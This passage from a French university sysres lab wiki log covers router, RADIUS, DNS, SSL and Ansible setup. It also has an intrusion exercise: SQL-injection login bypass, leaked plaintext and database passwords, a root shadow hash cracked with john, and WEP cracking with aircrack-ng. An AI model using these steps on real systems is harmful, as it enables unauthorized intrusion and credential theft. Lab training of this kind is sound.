     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54996</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54996"/>
				<updated>2020-12-18T21:08:53Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
